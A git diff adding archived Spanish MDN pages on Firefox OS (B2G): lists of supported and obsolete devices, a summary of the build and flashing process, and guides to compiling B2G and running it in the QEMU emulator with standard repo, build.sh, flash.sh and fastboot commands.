+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Dispositivos_de_Sony">Dispositivos de Sony</h3>
+
+<p>Estos dispositivos pertenecen a la iniciativa <em>Sony Mobile´s Open Devices</em>, que tiene como objetivo el soporte de los móviles Xperia en AOSP</p>
+
+<p>Estos dispositivos están construidos en base a AOSP Lollipop.</p>
+
+<div class="note">
+<p>Ahora mismo la mayoría de los dispositivos Sony no tienen soporte para cámara. Esto depende del avance del trabajo de los desarrolladores de Sony. Además, nosotros contribuimos con el mantenimiento de estos ports.</p>
+</div>
+
+<p>Los dispositivos que está en curso el soporte para B2G no están listados aquí.</p>
+
+<h4 id="Sony_Shinano_Platform">Sony Shinano Platform</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12007/leo.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"> </td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12011/scorpion.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12013/sirius.png" style="max-width: 133px;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Z3</strong></td>
+   <td style="text-align: center;"> </td>
+   <td style="text-align: center;"><strong>Z3 Tablet Compact</strong></td>
+   <td style="text-align: center;"><strong>Z2</strong></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;">leo-l</td>
+   <td style="text-align: center;"> </td>
+   <td style="text-align: center;">scorpion-l</td>
+   <td style="text-align: center;">sirius-l</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+</dl>
+
+<h4 id="Sony_Rhine_Platform">Sony Rhine Platform</h4>
+
+<div class="note">
+<p>Los dispositivos Rhine utilizan un chip NFC Legacy, así que esta función no está disponible. Mira el <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1226720">bug 1226720</a>. Necesitamos contribuidores para el mantenimiento de estos ports.</p>
+</div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12015/honami.png" style="max-width: 133px;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Z1</strong></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;">honami-l</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Sony_Yukon_Platform">Sony Yukon Platform</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12019/tianchi.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12021/seagull.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12023/eagle.png" style="max-width: 133px;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>T2 Ultra</strong></td>
+   <td style="text-align: center;"><strong>T3</strong></td>
+   <td style="text-align: center;"><strong>M2</strong></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;">tianchi-l</td>
+   <td style="text-align: center;">seagull-l</td>
+   <td style="text-align: center;">eagle-l</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Dispositivos_Soportados_CyanogenMod"><strong>Dispositivos Soportados CyanogenMod</strong></h3>
+
+<p>Hay que completar.</p>
+
+<h2 id="Dispositivos_Legacy">Dispositivos Legacy</h2>
+
+<p>Muchos dispositivos antiguos no son mantenidos por la comunidad, pero es posible que voluntarios puedan mantenerlos vivos. El estado actual de estos dispositivos es desconocido, así que es probable que no se pueda instalar B2G.</p>
+
+<p><strong>No hay dispositivos aquí actualmente.</strong></p>
+
+<h2 id="Obsolete_Devices">Obsolete Devices</h2>
+
+<div class="warning">
+<p><strong>Olvídate del soporte para estos dispositivos si tenes uno.</strong></p>
+</div>
+
+<p>Varios dispositivos antiguos ya no son soportados por B2G OS, y no tenemos voluntarios para mantenerlos vivos. El estado actual de estos dispositivos es desconocido, lo que probablemente significa que no se puede actualizar B2G.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12069/peak.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12067/keon.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12071/inari.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12077/hamachi.png" style="max-width: 133px;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Geeksphone Peak</strong></td>
+   <td style="text-align: center;"><strong>Geeksphone Keon</strong></td>
+   <td style="text-align: center;"><strong>ZTE Open</strong></td>
+   <td style="text-align: center;"><strong>TCL Fire</strong></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;">peak</td>
+   <td style="text-align: center;">keon</td>
+   <td style="text-align: center;">inari</td>
+   <td style="text-align: center;">hamachi</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12083/galaxy-s2.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12085/galaxy-nexus.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12087/nexus-s.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12087/nexus-s.png" style="max-width: 133px;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Samsung Galaxy S2</strong></td>
+   <td style="text-align: center;"><strong>Galaxy Nexus</strong></td>
+   <td style="text-align: center;"><strong><a href="/en-US/docs/Mozilla/Firefox_OS/Samsung_Nexus_S">Nexus S</a></strong></td>
+   <td style="text-align: center;"><strong><a href="/en-US/docs/Mozilla/Firefox_OS/Samsung_Nexus_S">Nexus S 4G</a></strong></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;">galaxy-s2</td>
+   <td style="text-align: center;">galaxy-nexus</td>
+   <td style="text-align: center;">nexus-s</td>
+   <td style="text-align: center;">nexus-s-4g</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12073/flatfish.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12075/vixen.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12079/pandaboard.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12081/rpi.png" style="max-width: 133px;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Foxconn InFocus</strong></td>
+   <td style="text-align: center;"><strong>Via Vixen</strong></td>
+   <td style="text-align: center;"><strong><a href="/en-US/Firefox_OS/Pandaboard">Pandaboard</a></strong></td>
+   <td style="text-align: center;"><strong>Raspberry Pi</strong></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;">flatfish</td>
+   <td style="text-align: center;">vixen</td>
+   <td style="text-align: center;">pandaboard</td>
+   <td style="text-align: center;">rpi</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/archive/b2g_os/building_and_installing_boot_to_gecko/firefox_os_build_process_summary/index.html b/files/es/archive/b2g_os/building_and_installing_boot_to_gecko/firefox_os_build_process_summary/index.html
new file mode 100644
index 0000000000..2ba4b7b7b6
--- /dev/null
+++ b/files/es/archive/b2g_os/building_and_installing_boot_to_gecko/firefox_os_build_process_summary/index.html
@@ -0,0 +1,109 @@
+---
+title: Resumen del proceso de compilación de Firefox OS
+slug: >-
+  Archive/B2G_OS/Building_and_installing_Boot_to_Gecko/Firefox_OS_build_process_summary
+tags:
+  - Firefox OS
+  - compilar
+  - instalación
+  - instalar
+translation_of: Archive/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary
+---
+<div class="summary">
+ <p>Compilar e Instalar Firefox OS requiere una significante cantidad de tiempo, ancho de banda de red, y poder computacional. Desafortunadamente, a lo largo del camino, las cosas son susceptibles de salir mal. Esta página describe los objetivos del proceso de compilación y  los pasos de este proceso con el fin de ayudar a los usuarios a lo largo del camino. Los detalles de cada paso son mostrados en los enlaces de su respectiva página.</p>
+</div>
+<div class="note">
+ <p><span style="font-weight: bold;">Nota:</span> El proceso de compilación de Firefox OS está lleno de referencias a 'B2G' o 'Boot2Gecko'. 'Boot2Gecko' fué el nombre clave original del proyecto Firefox OS.</p>
+</div>
+<h2 id="El_objetivo_de_la_compilación_cuatro_archivos_'image'">El objetivo de la compilación: cuatro archivos 'image'</h2>
+<p>El objetivo general del proceso de compilación es la compilacióno de cuatro archivos que puedan ser copiados a un dispositivo Firefox OS.</p>
+<table style="width: 90%; vertical-align: top; margin: 4px auto;">
+ <tbody>
+  <tr>
+   <td><b>boot.img</b></td>
+   <td>El Kernel Linux y un root filesystem image, este último provee un útil conjunto de herramientas básicas de Unix.</td>
+  </tr>
+  <tr>
+   <td><b>system.img</b></td>
+   <td>El núcleo de Firefox OS incluye partes de Gonk, el puerto de Gecko, y el ejecutable b2g.</td>
+  </tr>
+  <tr>
+   <td><b>userdata.img</b></td>
+   <td>El perfil Gecko del usuario y la aplicación web Gaia para el dispositivo.</td>
+  </tr>
+  <tr>
+   <td><b>recovery.img</b></td>
+   <td>Un kernel Linux y una imagen del sistema de ficheros raíz, junto con una herramienta sencilla para que los usuarios puedan arreglar una mala instalación.</td>
+  </tr>
+ </tbody>
+</table>
+<p>Una vez que se han creado las cuatro imágenes, estas pueden ser transferidas al dispositivo.</p>
+<p>Firefox OS está compilado sobre la base de Android Open Source Project (AOSP). Las herramientas AOSP, <code>adb</code> <code>y fastboot, proveen una potente vía para acceder y manipular un dispositivo. Notablemente</code>, el comando<code> adb reboot-bootloader</code> puede ocasionar que un dispositivo conectado se reinicie (reboot) y se detenga en la fase inicial del  bootloader donde el comando<code> fastboot flash $partition $image</code> puede ser usado para copiar una imágen al dispositivo.</p>
+<h3 id="La_imagen_de_arranque">La imagen de arranque</h3>
+<p>La imagen de arranque (<code>boot.img</code>) es una combinación del Kernel Linux y una partición inicial del root proveyendo el software núcleo de utilidad y el script de inicialización. Este último será copiado en la memoria del dispositivo para uso eficiente por el dispositivo y por consiguiente es llamado "ramdisk". La imagen de arranque será copiada en la partición 'boot' en el dispositivo y el contenido del  ramdisk es visible iniciando en el directorio raíz (root) cuando el  filesystem del dispositivo es accedido en tiempo de ejecución (runtime), tal como cuando se usa <code>adb shell</code>.</p>
+<p>La imágen de arranque también establece los permisos de los usuarios root en el archivo <code>default.prop</code>  en el directorio raíz.</p>
+<p>También es posible modificar una imágen de arranque existente mediante la inspección de archivo, dividiendo el archivo en el Kernel y ramdisk image, extrayendo los contenidos de la imagen ramdisk, modificando esos contenidos, reensamblando la imagen ramdisk, entonces recompilando una boot.img funcional. Ver, por ejemplo, la página de <a href="http://k.japko.eu/alcatel-otf-hackers-guide-1.html">Alcatel One Touch Fire Hacking (Mini) Guide</a>.</p>
+<p>La imagen de arranque puede ser probada antes de ser instalada por  'sideloading'; el dispositivo puede ser inicializado y pausado en el  bootloader y luego un  <code>fastboot</code> puede ser usado para arrancar desde la imagen de arranque sin instalarla usando el comando <code>fastboot boot /some/path/to/boot.img</code>.</p>
+<h3 id="La_imagen_del_sistema">La imagen del sistema</h3>
+<p>La imagen del sistema (<code>system.img</code>) provee el núcleo de  Firefox OS:</p>
+<ul>
+ <li><strong>Gonk</strong>: El componente de bajo nivel del sistema operativo.</li>
+ <li><strong>Gecko</strong>: El punto para desplegar en Firefox el motor HTML y JavaScript.</li>
+ <li><strong>B2G</strong>: El núcleo de los procesos en tiempo de ejecución del sistema operativo.</li>
+</ul>
+<div class="note">
+ <p>Vea la guía <a href="https://developer.mozilla.org/es/Firefox_OS/Plataforma">la pataforma Firefox OS</a> para más información acerca de la arquitectura de la plataforma.</p>
+</div>
+<p>La imagen del sistema será copiada a la partición<code> system</code>  en el dispositivo y será visible en el directorio<code> /system/</code> cuando el  filesystem del dispositivo sea accedido en tiempo de ejecución.</p>
+<div class="note">
+ <p><strong>Nota</strong>: La Imagen del Sistema también provee las manchas binarias (blobs) que pueden ser usadas por el dispositivo, notablemente el RIL (Radio Interface Layer) controla la radio celular en el dispositivo.</p>
+</div>
+<h3 id="La_imagen_de_los_datos_de_usuario">La imagen de los datos de usuario</h3>
+<p>La imagen de los datos de usuario (<code>userdata.img</code>) provee las aplicaciones Gaia cargadas en tiempo de ejecución.</p>
+<p>La imagen de los datos de usuario será copiada a la partición <code>userdata</code> en el dispositivo y los contenidos serán visibles en el directorio <code>/data/</code> cuando el filesystem del dispositivo sea accedido en tiempo de ejecución. Notablemente el directorio <code>/data/b2g/</code>  contiene el   <em>profile</em>  de Mozilla Gecko del dispositivo del usuario mientras el directorio <code>/data/local/webapps/</code> contiene la aplicación web actual disponible para el usuario.</p>
+<h3 id="La_imagen_de_recuperación">La imagen de recuperación</h3>
+<p>La imagen de recuperación (<code>recovery.img</code>) contiene lo mismo que el Kernel y un similar ramdisk que están presentes en la partición de la imagen de arranque. La imagen de recuperación sin embargo utiliza un script de inicialización diferente, lo que lleva al usuario a un conjunto de recuperación de comandos de acceso utilizando los botones de hardware en el dispositivo.</p>
+<p>La Imagen de recuperación será copiada a la partición <code>recovery</code> en el dispositivo,  que no es montada en el filesystem en tiempo de ejecución normal.</p>
+<h2 id="El_proceso_de_compilación_ajustar_configurar_compilar_instalar">El proceso de compilación:  ajustar, configurar,  compilar, instalar</h2>
+<p>El proceso general de construcción e instalación de Firefox OS consta de cuatro pasos:</p>
+<table style="width: 90%; vertical-align: top; margin: 4px auto;">
+ <tbody>
+  <tr>
+   <td><b>Ajustar</b></td>
+   <td>Obtener copias de todos los programas usados por el proceso de construcción, tales como los compiladores y librerías.</td>
+  </tr>
+  <tr>
+   <td><b>Configurar</b></td>
+   <td>Descargar el código fuente que será utilizado en la creación y construcción del archivo <code>.configure</code> que define las variables del entorno especificando las direcciones y otros valores utilizados en la construcción.</td>
+  </tr>
+  <tr>
+   <td><b>Compilar</b></td>
+   <td>Compilar el perfil Gecko del usuario y la aplicación web Gaia para el dispositivo.</td>
+  </tr>
+  <tr>
+   <td><b>Instalar</b></td>
+   <td>Instalar los archivos en el dispositivo.</td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
+<h3 id="Ajustar">Ajustar</h3>
+<p>El ajuste inicial debe ser hecho para asegurar el equipo que corre la compilación tenga todos el software requerido durante la compilación, tal como compiladores y herramientas de construcción.</p>
+<p>Esta paso puede ser hecho a mano o usando un script. Los detalles los podemos ver en la página <a href="https://developer.mozilla.org/es/docs/Mozilla/Boot_to_Gecko/Firefox_OS_build_prerequisites" title="Firefox OS build prerequisites">Prerrequisitos para compilar Firefox OS</a>.</p>
+<div class="note">
+ <p><strong>Nota</strong>: En UNIX y máquinas UNIX, la presencia de los software requeridos pueden ser comprobados usando el comando unix <code>which</code> con el nombre del programa requerido como parámetro.</p>
+</div>
+<h3 id="Configuración">Configuración</h3>
+<p>El actual proceso de compilación inicia obteniendo una copia del software Firefox OS (o B2G), por lo general mediante la creación de un clon Git del proyecto <code>B2G</code>. La configuración de compilación obtendrá copias de todo el código fuente que es compilado y crea el archivo <code>.config</code> que especifica las variables para la compilación.</p>
+<p>Esto se ejecuta con el script <code>config.sh</code>. Más detalles podemos encontrar en la página <a href="https://developer.mozilla.org/es/Firefox_OS/Preparing_for_your_first_B2G_build" title="Preparing for your first B2G build">Preparandote para tu primer binario B2G </a>.</p>
+<p>Es script necesario de configuración y parámetros especificando el tipo de dispositivo a compilar. Los nombre de compilación son códigos nombre enlazados a la arquitectura del CPU en lugar de un dispositivo específico, y actualmente no hay manera de establecer qué compilación trabaja para qué dispositivo físico. Una lista de códigos nombres  disponibles puede <a href="/en-US/Firefox_OS/Phones">encontrarse aquí</a>.</p>
+<p>El paso de configuración también utilizará la herramienta Android Open Source Project <code>repo</code> para descargar (o actualizar) una copia de todo el código utilizado en la compilación. Estas copias serán almacenadas en el directorio<code> .repo/projects</code>. Debido a esta actividad, el paso de configuración puede tardar bastante tiempo y descargará una gran cantidad de datos.</p>
+<h3 id="Compilar">Compilar</h3>
+<p>El paso de compilación lo qe hace es compilar todo el código fuente y produce como resultado las imagenes.</p>
+<p>Esto se ejecuta con el script  <code>build.sh</code>. Para más detalles podemos encontrar en la página <a href="https://developer.mozilla.org/es/Firefox_OS/Compilar_Boot_to_Gecko" title="Building">Compilando Firefox OS</a> .</p>
+<p>Por defecto, el paso de compilación es monolítico, intentando compilar todo a la vez desde las herramientas Android Open Source Project para el  kernel Linux a la aplicación web Gaia. Cuando la compilación falla,  puede a veces no ser claro en que paso ha fallado.</p>
+<p>Es posible compilar solo ciertas partes de toda la pila Firefox. Por ejemplo, el sistema Gecko solo puede ser compilado mediante una llamada al script de compilación con el parámetro<code> gecko</code>. De igual manera, Gaia puede ser compilado de forma independiente utilizando el parámetro <code>gaia</code>. Estas partes pueden ser instaladas de forma separada en el dispositivo como se explica a mas adelante.</p>
+<p>También se pueden compilar las imágenes mostradas en la primera parte de esta página. Por ejemplo, el sistema de imagen puede ser compilado utilizando<code>./build.sh out/platform/$target/system.img</code>, donde el parámetro <code>$target</code> es el mismo que el dado en el paso de configuración.</p>
+<h3 id="Instalar">Instalar</h3>
+<p>El paso de instalación colocará nuevamente el código compilado en el dispositivo. Esto es ejecutado con el script <code>flash.sh</code> .</p>
+<p>Partes individuales de la compilación pueden ser instaladas agregando un parámetro al script flash. Por ejemplo, es posible instalar sólo la aplicación web gaia especificando <code>./flash.sh gaia</code>.</p>
diff --git a/files/es/archive/b2g_os/building_and_installing_boot_to_gecko/index.html b/files/es/archive/b2g_os/building_and_installing_boot_to_gecko/index.html
new file mode 100644
index 0000000000..0e2cc7d35d
--- /dev/null
+++ b/files/es/archive/b2g_os/building_and_installing_boot_to_gecko/index.html
@@ -0,0 +1,82 @@
+---
+title: Construyendo e instalando Firefox OS
+slug: Archive/B2G_OS/Building_and_installing_Boot_to_Gecko
+tags:
+  - B2G
+  - Documentación de construcción
+  - Firefox OS
+translation_of: Archive/B2G_OS/Building_and_installing_B2G_OS
+---
+<div class="summary">
+ <p>Debido a que Firefox OS está actualmente en un desarrollo activo, y se encuentra en estado preliminar, la mejor manera de asegurarse de que tienes una copia actualizada e instalada, es compilarla e instalarla tú mismo.<span class="seoSummary"> Los artículos comprendidos en esta página te guiarán a través de la compilación y la instalación de Firefox OS en un emulador, dispositivo compatible, o en la interfaz de usuario de <a href="/es/Firefox_OS/Gaia/Introduction_to_Gaia" title="Introducción a Gaia">Gaia</a> en el navegador Firefox.</span></p>
+</div>
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Cómo_obtener_y_compilar_Firefox_OS">Cómo obtener y compilar Firefox OS</h2>
+    <dl>
+     <dt>
+      <a href="/es/docs/Mozilla/Boot_to_Gecko/Building_and_installing_Boot_to_Gecko/Firefox_OS_build_process_summary">Firefox OS visión general de la compilación</a></dt>
+     <dd>
+      La compilación e instalación de Firefox OS requiere de una cantidad significativa de tiempo, ancho de banda y una computadora potente. Esta página describe los objetivos del proceso de compilación y de los pasos de este proceso con el fin de ayudar a los usuarios a lo largo del camino.</dd>
+     <dt>
+      <a href="/es/docs/Mozilla/Boot_to_Gecko/Firefox_OS_build_prerequisites" title="Firefox OS requisitos previos de compilación">Firefox OS requisitos previos de compilación</a></dt>
+     <dd>
+      Pasos a seguir antes de compilar Firefox OS por primera vez.</dd>
+     <dt>
+      <a href="/es/Firefox_OS/Preparing_for_your_first_B2G_build" title="Preparandose para su primer compilación de B2G">Preparándose para su primera compilación de Firefox OS</a></dt>
+     <dd>
+      Antes de poder compilar Firefox OS, es necesario clonar el repositorio y configurar su construcción. En este artículo se explica cómo hacerlo.</dd>
+     <dt>
+      <a href="/es/Firefox_OS/Compilar_Boot_to_Gecko" title="Compilando">Compilando Firefox OS</a></dt>
+     <dd>
+      Cómo compilar Firefox OS.</dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="/en-US/Firefox_OS/Building_and_installing_Firefox_OS/Building_Firefox_OS_for_flame_on_OSX" title="Compilando bajo OSX">Compilando la llama de Firefox OS en OSX</a></dt>
+     <dd>
+      Cómo realizar la compilación de la llama de Firefox OS en OSX.</dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="/es/Firefox_OS/Portando" title="Portando">Portando a Firefox OS</a></dt>
+     <dd>
+      Información sobre cómo portar Firefox OS a nuevos dispositivos.</dd>
+    </dl>
+    <p><span class="alllinks"><a href="/en-US/docs/tag/B2G" title="tag B2G">Ver todo...</a></span></p>
+   </td>
+   <td>
+    <h2 class="Community" id="Instalación_de_Firefox_OS_yo_Gaia">Instalación de Firefox OS y/o Gaia</h2>
+    <dl>
+     <dt>
+      <a href="/en-US/docs/Mozilla/Firefox_OS/Choosing_how_to_run_Gaia_or_B2G" title="Eligiendo cómo iniciar Gaia o B2G">Eligiendo cómo iniciar Gaia o Firefox OS</a></dt>
+     <dd>
+      Puedes usar Gaia dentro de Firefox, o puedes ejecutar Firefox OS en un dispositivo móvil o en un simulador en el escritorio. Esta guía te ayudará a decidir cuál es mejor para tus necesidades.</dd>
+     <dt>
+      <a href="/en-US/docs/Mozilla/Firefox_OS/Using_Gaia_in_Firefox" title="Usando Gaia en Firefox">Usando Gaia en Firefox</a></dt>
+     <dd>
+      Cómo utilizar Gaia dentro de un navegador Firefox de escritorio.</dd>
+     <dt>
+      <a href="/es/Firefox_OS/usando_el_B2G_escritorio_cliente" title="Usando el cliente B2G de escritorio">Usando el cliente B2G de escritorio</a></dt>
+     <dd>
+      Una guía para ejecutar y utilizar el cliente de escritorio de Firefox OS; esto simula el entorno Gaia en una aplicación de escritorio. Es más preciso que ejecutar Gaia en Firefox, pero no es tan preciso como los emuladores.</dd>
+     <dt>
+      <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators" title="Usando los emuladores de B2G">Usando los emuladores de Firefox OS</a></dt>
+     <dd>
+      Una guía para compilar y usar los emuladores de Firefox OS y cuándo usar cada uno.</dd>
+     <dt>
+      <a href="/es/Firefox_OS/Installing_on_a_mobile_device" title="Instalando en un dispositivo móvil">Instalando Firefox OS en un dispositivo móvil</a></dt>
+     <dd>
+      Cómo instalar Firefox OS en un dispositivo móvil real.</dd>
+     <dt>
+      <a href="/en-US/docs/Mozilla/Firefox_OS/Dual_boot_of_B2G_and_Android_on_SGS2" title="Booteo doble de B2G y Android en SGS2">Booteo doble de Firefox OS y Android en SGS2</a></dt>
+     <dd>
+      Cómo configurar un entorno de booteo doble Firefox OS/Android en un Samsung Galaxy S2.</dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/es/archive/b2g_os/building_b2g_for_qemu_emulator/index.html b/files/es/archive/b2g_os/building_b2g_for_qemu_emulator/index.html
new file mode 100644
index 0000000000..af77d73b5f
--- /dev/null
+++ b/files/es/archive/b2g_os/building_b2g_for_qemu_emulator/index.html
@@ -0,0 +1,37 @@
+---
+title: Compilando B2G para el emulador QEMU
+slug: Archive/B2G_OS/Building_B2G_for_QEMU_Emulator
+translation_of: Archive/B2G_OS/Building_and_installing_B2G_OS
+---
+<p></p><div class="overheadIndicator obsolete obsoleteHeader"><p><strong><span title="This is an obsolete API and is no longer guaranteed to work."><i class="icon-trash"> </i></span> Obsoleto</strong><br>Esta funcionalidad es obsoleta. Aunque puede aún funcionar en algunos navegadores, se desalienta su uso ya que puede ser removida en cualquier momento. Evite usarla.</p></div><p></p>
+
+<p></p><div class="warning">Éste artículo está obsoleto. Ver <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Building_and_installing_Boot_to_Gecko" title="Building_and_installing_Boot_to_Gecko">Compilando e instalando Boot to Gecko</a>, una guía completa para compilar Firefox OS.</div><p></p>
+
+<p>Suponemos que ya has <a href="/en/Mozilla/Boot_to_Gecko/Setting_Up_Boot_to_Gecko_Build_Environment" title="https://developer.mozilla.org/en/Mozilla/Boot_to_Gecko/Setting_Up_Boot_to_Gecko_Build_Environment">configurado tu entorno de compilación y clonado los repositorios</a>.</p>
+
+<p>Los siguientes pasos  te permitirán<strong> compilar - y ejecutar - B2G en tu emulador</strong>.  NO ejecutar como root.</p>
+
+<p><span style="font-family: inherit;"><span style='font-family: "Courier New",Courier,monospace;'>$ cd B2G</span></span><br>
+ <span style="font-family: inherit;"><span style='font-family: "Courier New",Courier,monospace;'>$ make sync</span></span></p>
+
+<p><a class="external" href="http://3.bp.blogspot.com/-5o6HoCR0xE0/Tydf8jj-UPI/AAAAAAAAAMk/EfcvWBaWv-w/s320/Make+Sync.tiff"><img alt="" class="default" src="http://3.bp.blogspot.com/-5o6HoCR0xE0/Tydf8jj-UPI/AAAAAAAAAMk/EfcvWBaWv-w/s320/Make+Sync.tiff"></a></p>
+
+<p>Compilar con la configuración para QEMU:<br>
+ <code>$ make config-qemu</code></p>
+
+<p>Lo siguiente, construir el backend gonk y luego el propio sistema:<br>
+ <code>$ make gonk<br>
+ $ make</code><br>
+ <br>
+ NOTA:   si ./emu.sh - tu emulador - no se inicia a la primera, tendrás que hacerlo ejecutable:<br>
+ <code>$ chmod +x emu.sh</code><br>
+ <br>
+ Después, ejecuta el emulador:<br>
+ <code>$ ./emu.sh</code></p>
+
+<p>NOTA:  Después de clonar los repositorios o al crear tu compilación por primera vez, puedes "limpiar" them - e.g. put them into the state so that the latest pull is the same as a fresh clone.</p>
+
+<p>To do this, from your repo root:<br>
+ <span style='font-family: "Courier New",Courier,monospace;'>$ make sync; git clean -xfd; git submodule foreach "git clean -xfd"</span><br>
+ Alternately, you can try:<br>
+ <span style='font-family: "Courier New",Courier,monospace;'><span style="font-family: inherit;"><span style='font-family: "Courier New",Courier,monospace;'>$ make mrproper</span></span></span></p>
diff --git a/files/es/archive/b2g_os/compilar_boot_to_gecko/index.html b/files/es/archive/b2g_os/compilar_boot_to_gecko/index.html
new file mode 100644
index 0000000000..255f1a3db0
--- /dev/null
+++ b/files/es/archive/b2g_os/compilar_boot_to_gecko/index.html
@@ -0,0 +1,123 @@
+---
+title: Compilando Firefox OS
+slug: Archive/B2G_OS/Compilar_Boot_to_Gecko
+translation_of: Archive/B2G_OS/Building
+---
+<div>
+ </div>
+<p>Una vez que hayas <a href="/es/docs/Mozilla/Boot_to_Gecko/Firefox_OS_build_prerequisites" title="en-US/docs/Mozilla/Boot_to_Gecko/B2G_build_prerequisites">preparado tu sistema para compilar </a>y hayas realizado <a href="https://developer.mozilla.org/es/docs/Mozilla/Firefox_OS/Preparing_for_your_first_B2G_build" title="en-US/docs/Mozilla/Boot_to_Gecko/Preparing_for_your_first_B2G_build">la clonación inicial y configurado</a> el código, podrás compilar Boot to Gecko.</p>
+<h2 id="Actualizar_tu_código">Actualizar tu código</h2>
+<p>Si no es la primera vez que compilas B2G, deberías actualizar el código antes de empezar a compilar. Para hacerlo, debes actualizar tanto las herramientas de B2G como las dependencias, usando los siguientes dos comandos:</p>
+<pre>git pull
+./repo sync
+</pre>
+<p>Puedes actualizar partes específicas del repositorio aclarando su nombre:</p>
+<pre>./repo sync gaia
+</pre>
+<p>El comando <code>repo</code> tiene otras opciones disponibles que pueden ser interesantes; <code>repo help</code> te dará mucha información.</p>
+<h2 id="Compilar">Compilar</h2>
+<div class="note">
+ <p><strong>Nota:</strong> Antes de compilar, conviene que prepares un archivo <code>.userconfig</code> para personalizar la compilación. Mira <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Customization_with_the_.userconfig_file" title="/en-US/docs/Mozilla/Boot_to_Gecko/Customization_with_the_.userconfig_file">Personalizar el archivo .userconfig</a> para aprender cómo hacerlo.</p>
+</div>
+<p>Para compilar Boot to Gecko, debes usar simplemente la herramienta <code>build.sh</code>:</p>
+<pre>cd B2G
+./build.sh
+</pre>
+<p>Es hora de otra pausa para un café, o posiblemente una siesta (especialmente si es tu primera compilación). Así como en el paso de configuración de la página anterior, si usas un directorio de archivos de sistema de Android previamente extraídos, deberás establecer ANDROIDFS_DIR antes de ejecutar build.sh.</p>
+<h3 id="Compilar_sólo_ciertos_módulos">Compilar sólo ciertos módulos</h3>
+<p>Si sólo quieres compilar un módulo en particular, por ejemplo Gecko, puedes hacerlo incluyendo el nombre:</p>
+<pre>./build.sh gecko
+</pre>
+<p>Si sólo quieres actualizar una de las aplicaciones, puedes hacerlo compilando el módulo <code>gaia</code> y usando la variable de entorno <code>BUILD_APP_NAME</code>:</p>
+<pre>BUILD_APP_NAME=calendar ./build.sh gaia</pre>
+<p>Para ver una lista de los módulos que puedes compilar, haz:</p>
+<pre>./build.sh modules
+</pre>
+<h3 id="Especificar_cuántos_núcleos_de_procesador_usar">Especificar cuántos núcleos de procesador usar</h3>
+<p>Por defecto, el compilador de B2G utiliza el número de procesadores que existan en tu ordenador, y establece dos como el número de tareas a ejecutar en paralelo. Puedes cambiar estos números especificando el parámetro <code>-j</code> cuando ejecutes <code>build.sh</code>. Esto es útil si estás usando el ordenador para otras cosas mientras compilas, y necesitas reducir el uso de CPU. También viene bien cuando tienes problemas con la compilación, ya que ejecutar tareas de una en una facilita la lectura de mensajes y registros.</p>
+<p>Por ejemplo, para compilar ejecutando 2 tareas en paralelo, usa:</p>
+<pre>./build.sh -j2
+</pre>
